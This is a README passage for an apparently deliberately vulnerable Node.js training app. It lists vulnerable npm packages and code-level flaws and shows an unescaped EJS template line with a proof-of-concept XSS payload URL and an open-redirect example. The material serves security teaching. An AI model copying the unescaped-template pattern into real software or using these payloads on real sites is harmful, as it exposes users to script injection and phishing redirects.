## Exploiting the vulnerabilities

This app uses npm dependencies holding known vulnerabilities.
This app uses npm dependencies holding known vulnerabilities,
as well as insecure code that introduces code-level vulnerabilities.

The `exploits/` directory includes a series of steps to demonstrate each one.

### Vulnerabilities in open source dependencies

Here are the exploitable vulnerable packages:
- [Mongoose - Buffer Memory Exposure](https://snyk.io/vuln/npm:mongoose:20160116) - requires a version <= Node.js 8. For the exploit demo purposes, one can update the Dockerfile `node` base image to use `FROM node:6-stretch`.
- [st - Directory Traversal](https://snyk.io/vuln/npm:st:20140206)
- [ms - ReDoS](https://snyk.io/vuln/npm:ms:20151024)
- [marked - XSS](https://snyk.io/vuln/npm:marked:20150520)

The `exploits/` directory includes a series of steps to demonstrate each one.
### Vulnerabilities in code

* Open Redirect
* NoSQL Injection
* Command execution
* Cross-site Scripting (XSS)
* Security misconfiguration exposes server information
* Insecure protocol (HTTP) communication

#### Open redirect

The `/admin` view introduces a `redirectPage` query path, as follows in the admin view:

```
<input type="hidden" name="redirectPage" value="<%- redirectPage %>" />
```

One fault here is that the `redirectPage` is rendered as raw HTML and not properly escaped, because it uses `<%- >` instead of `<%= >`. That itself, introduces a Cross-site Scripting (XSS) vulnerability via:

```
http://localhost:3001/login?redirectPage="><script>alert(1)</script>
```

To exploit the open redirect, simply provide a URL such as `redirectPage=https://google.com` which exploits the fact that the code doesn't enforce local URLs in `index.js:72`.
